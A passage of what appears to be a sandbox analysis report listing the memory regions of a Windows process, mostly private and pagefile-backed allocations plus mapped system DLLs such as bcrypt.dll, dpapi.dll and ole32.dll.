"private_0x000000007ffd5000" filename = "" Region: id = 2590 start_va = 0x740e0000 end_va = 0x74154fff entry_point = 0x740e0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2591 start_va = 0x780000 end_va = 0x86ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 2592 start_va = 0x870000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 2593 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2594 start_va = 0x780000 end_va = 0x837fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2595 start_va = 0x860000 end_va = 0x86ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 2596 start_va = 0x270000 end_va = 0x273fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2597 start_va = 0x740c0000 end_va = 0x740dcfff entry_point = 0x740c0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2598 start_va = 0x280000 end_va = 0x283fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2599 start_va = 0x390000 end_va = 0x395fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2600 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 2601 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 2602 start_va = 0x1fe0000 end_va = 0x2316fff entry_point = 0x1fe0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2603 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2604 start_va = 0x2420000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2605 start_va = 0x2460000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2606 start_va = 0x2560000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2607 start_va = 0x25a0000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 2608 start_va = 0x26a0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 2609 start_va = 0x26e0000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 2610 start_va = 0x27e0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 2611 start_va = 0x2820000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 2612 start_va = 0x2920000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 2613 start_va = 0x2960000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 2614 start_va = 0x2a60000 end_va = 0x2a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 2615 start_va = 0x2aa0000 end_va = 0x2b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 2616 start_va = 0x2ba0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2617 start_va = 0x2be0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 2618 start_va = 0x2ce0000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 2619 start_va = 0x2d20000 end_va = 0x2e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 2620 start_va = 0x2e20000 end_va = 0x2e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 2621 start_va = 0x2e60000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 2622 start_va = 0x2f60000 end_va = 0x2f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 2623 start_va = 0x2fa0000 end_va = 0x309ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 2624 start_va = 0x30a0000 end_va = 0x30dffff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 2625 start_va = 0x30e0000 end_va = 0x31dffff entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 2626 start_va = 0x31e0000 end_va = 0x321ffff entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 2627 start_va = 0x3220000 end_va = 0x331ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 2628 start_va = 0x3320000 end_va = 0x335ffff entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 2629 start_va = 0x3360000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 2630 start_va = 0x3460000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 2631 start_va = 0x34a0000 end_va = 0x359ffff entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 2632 start_va = 0x35a0000 end_va = 0x35dffff entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 2633 start_va = 0x35e0000 end_va = 0x36dffff entry_point = 0x0 region_type = private name = "private_0x00000000035e0000" filename = "" Region: id = 2634 start_va = 0x36e0000 end_va = 0x371ffff entry_point = 0x0 region_type = private name = "private_0x00000000036e0000" filename = "" Region: id = 2635 start_va = 0x3720000 end_va = 0x381ffff entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 2636 start_va = 0x3820000 end_va = 0x385ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 2637 start_va = 0x3860000 end_va = 0x395ffff entry_point = 0x0 region_type = private name = "private_0x0000000003860000" filename = "" Region: id = 2638 start_va = 0x3960000 end_va = 0x399ffff entry_point = 0x0 region_type = private name = "private_0x0000000003960000" filename = "" Region: id = 2639 start_va = 0x39a0000 end_va = 0x3a9ffff entry_point = 0x0 region_type = private name = "private_0x00000000039a0000" filename = "" Region: id = 2640 start_va = 0x3aa0000 end_va = 0x3adffff entry_point = 0x0 region_type = private name = "private_0x0000000003aa0000" filename = "" Region: id = 2641 start_va = 0x3ae0000 end_va = 0x3bdffff entry_point = 0x0 region_type = private name = "private_0x0000000003ae0000" filename = "" Region: id = 2642 start_va = 0x3be0000 end_va = 0x3c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 2643 start_va = 0x3c20000 end_va = 0x3d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c20000" filename = "" Region: id = 2644 start_va = 0x3d20000 end_va = 0x3d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d20000" filename = "" Region: id = 2645 start_va = 0x3d60000 end_va = 0x3e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 2646 start_va = 0x3e60000 end_va = 0x3e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 2647 start_va = 0x3ea0000 end_va = 0x3f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ea0000" filename = "" Region: id = 2648 start_va = 0x3fa0000 end_va = 0x3fdffff entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 2649 start_va = 0x3fe0000 end_va = 0x40dffff entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 2650 start_va = 0x40e0000 end_va = 0x411ffff entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 2651 start_va = 0x4120000 end_va = 0x421ffff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 2652 start_va = 0x4220000 end_va = 0x425ffff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 2653 start_va = 0x4260000 end_va = 0x435ffff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 2654 start_va = 0x4360000 end_va = 0x439ffff entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 2655 start_va = 0x43a0000 end_va = 0x449ffff entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 2656 start_va = 0x44a0000 end_va = 0x44dffff entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 2657 start_va = 0x44e0000 end_va = 0x45dffff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 2658 start_va = 0x45e0000 end_va = 0x461ffff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 2659 start_va = 0x4620000 end_va = 0x471ffff entry_point = 0x0 region_type = private name = "private_0x0000000004620000" filename = "" Region: id = 2660 start_va = 0x4720000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 2661 start_va = 0x4760000 end_va = 0x485ffff entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 2662 start_va = 0x4860000 end_va = 0x489ffff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 2663 start_va = 0x48a0000 end_va = 0x499ffff entry_point = 0x0 region_type = private name = "private_0x00000000048a0000" filename = "" Region: id = 2664 start_va = 0x49a0000 end_va = 0x49dffff entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 2665 start_va = 0x49e0000 end_va = 0x4adffff entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 2666 start_va = 0x7fe50000 end_va = 0x7fe52fff entry_point = 0x0 region_type = private name = "private_0x000000007fe50000" filename = "" Region: id = 2667 start_va = 0x7fe53000 end_va = 0x7fe55fff entry_point = 0x0 region_type = private name = "private_0x000000007fe53000" filename = "" Region: id = 2668 start_va = 0x7fe56000 end_va = 0x7fe58fff entry_point = 0x0 region_type = private name = "private_0x000000007fe56000" filename = "" Region: id = 2669 start_va = 0x7fe59000 end_va = 0x7fe5bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe59000" filename = "" Region: id = 2670 start_va = 0x7fe5c000 end_va = 0x7fe5efff entry_point = 0x0 region_type = private name = "private_0x000000007fe5c000" filename = "" Region: id = 2671 start_va = 0x7fe5f000 end_va = 0x7fe61fff entry_point = 0x0 region_type = private name = "private_0x000000007fe5f000" filename = "" Region: id = 2672 start_va = 0x7fe62000 end_va = 0x7fe64fff entry_point = 0x0 region_type = private name = "private_0x000000007fe62000" filename = "" Region: id = 2673 start_va = 0x7fe65000 end_va = 0x7fe67fff entry_point = 0x0 region_type = private name = "private_0x000000007fe65000" filename = "" Region: id = 2674 start_va = 0x7fe68000 end_va = 0x7fe6afff entry_point = 0x0 region_type = private name = "private_0x000000007fe68000" filename = "" Region: id = 2675 start_va = 0x7fe6b000 end_va = 0x7fe6dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe6b000" filename = "" Region: id = 2676 start_va = 0x7fe6e000 end_va = 0x7fe70fff entry_point = 0x0 region_type = private name = "private_0x000000007fe6e000" filename = "" Region: id = 2677 start_va = 0x7fe71000 end_va = 0x7fe73fff entry_point = 0x0 region_type = private name = "private_0x000000007fe71000" filename = "" Region: id = 2678 start_va = 0x7fe74000 end_va = 0x7fe76fff entry_point = 0x0 region_type = private name = "private_0x000000007fe74000" filename = "" Region: id = 2679 start_va = 0x7fe77000 end_va = 0x7fe79fff entry_point = 0x0 region_type = private name = "private_0x000000007fe77000" filename = "" Region: id = 2680 start_va = 0x7fe7a000 end_va = 0x7fe7cfff entry_point = 0x0 region_type = private name = "private_0x000000007fe7a000" filename = "" Region: id = 2681 start_va = 0x7fe7d000 end_va = 0x7fe7ffff entry_point = 0x0 region_type = private name = "private_0x000000007fe7d000" filename = "" Region: id = 2682 start_va = 0x7fe80000 end_va = 0x7fe82fff entry_point = 0x0 region_type = private name = "private_0x000000007fe80000" filename = "" Region: id = 2683 start_va = 0x7fe83000 end_va = 0x7fe85fff entry_point = 0x0 region_type = private name = "private_0x000000007fe83000" filename = "" Region: id = 2684 start_va = 0x7fe86000 end_va = 0x7fe88fff entry_point = 0x0 region_type = private name = "private_0x000000007fe86000" filename = "" Region: id = 2685 start_va = 0x7fe89000 end_va = 0x7fe8bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe89000" filename = "" Region: id = 2686 start_va = 0x7fe8c000 end_va = 0x7fe8efff entry_point = 0x0 region_type = private name = "private_0x000000007fe8c000" filename = "" Region: id = 2687 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 2688 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 2689 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 2690 start_va = 0x7fe98000 end_va = 0x7fe9afff entry_point = 0x0 region_type = private name = "private_0x000000007fe98000" filename = "" Region: id = 2691 start_va = 0x7fe9b000 end_va = 0x7fe9dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe9b000" filename = "" Region: id = 2692 start_va = 0x7fe9e000 end_va = 0x7fea0fff entry_point = 0x0 region_type = private name = "private_0x000000007fe9e000" filename = "" Region: id = 2693 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 2694 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 2695 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 2696 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 2697 start_va = 0x740a0000 end_va = 0x740b2fff entry_point = 0x740a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2698 start_va = 0x74080000 end_va = 0x7409afff entry_point = 0x74080000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2699 start_va = 0x74050000 end_va = 0x7407efff entry_point = 0x74050000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2700 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2701 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2702 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2703 start_va = 0x1e20000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2704 start_va = 0x230000 end_va = 0x241fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2705 start_va = 0x250000 end_va = 0x254fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2706 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2707 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2708 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2709 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2710 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2711 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2712 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2713 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2714 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2715 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2716 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2717 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2718 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2719 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2720 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2721 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2722 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2723 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2724 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2725 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2726 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2727 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2728 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2729 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2730 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2731 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2732 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2733 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2734 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2735 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2736 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2737 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2738 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2739 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2740 start_va = 0x240000 end_va = 0x244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2741 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2742 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2743 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2744 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2745 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2746 start_va = 0x74030000 end_va = 0x74048fff entry_point = 0x74030000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 2747 start_va = 0x74020000 end_va = 0x74027fff entry_point = 0x74020000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 2748 start_va = 0x260000 end_va = 0x269fff entry_point = 0x260000 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 2749 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2750 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2751 start_va = 0x3b0000 end_va = 0x3c1fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2752 start_va = 0x3d0000 end_va = 0x3d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2753 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2754 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2755 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2756 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2757 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2758 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2759 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2760 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2761 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2762 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2763 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2764 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2765 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2766 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2767 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2768 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2769 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2770 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2771 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2772 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2773 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2774 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2775 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2776 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2777 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2778 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2779 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2780 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2781 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2782 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2783 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2784 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2785 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2786 start_va = 0x3b0000 end_va = 0x3b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2787 start_va = 0x73a00000 end_va = 0x73cc0fff entry_point = 0x73a00000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2788 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 2789 start_va = 0x77240000 end_va = 0x772d1fff entry_point = 0x77240000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2790 start_va = 0x2320000 end_va = 0x2408fff entry_point = 0x2320000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2791 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x3b0000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 2792 start_va = 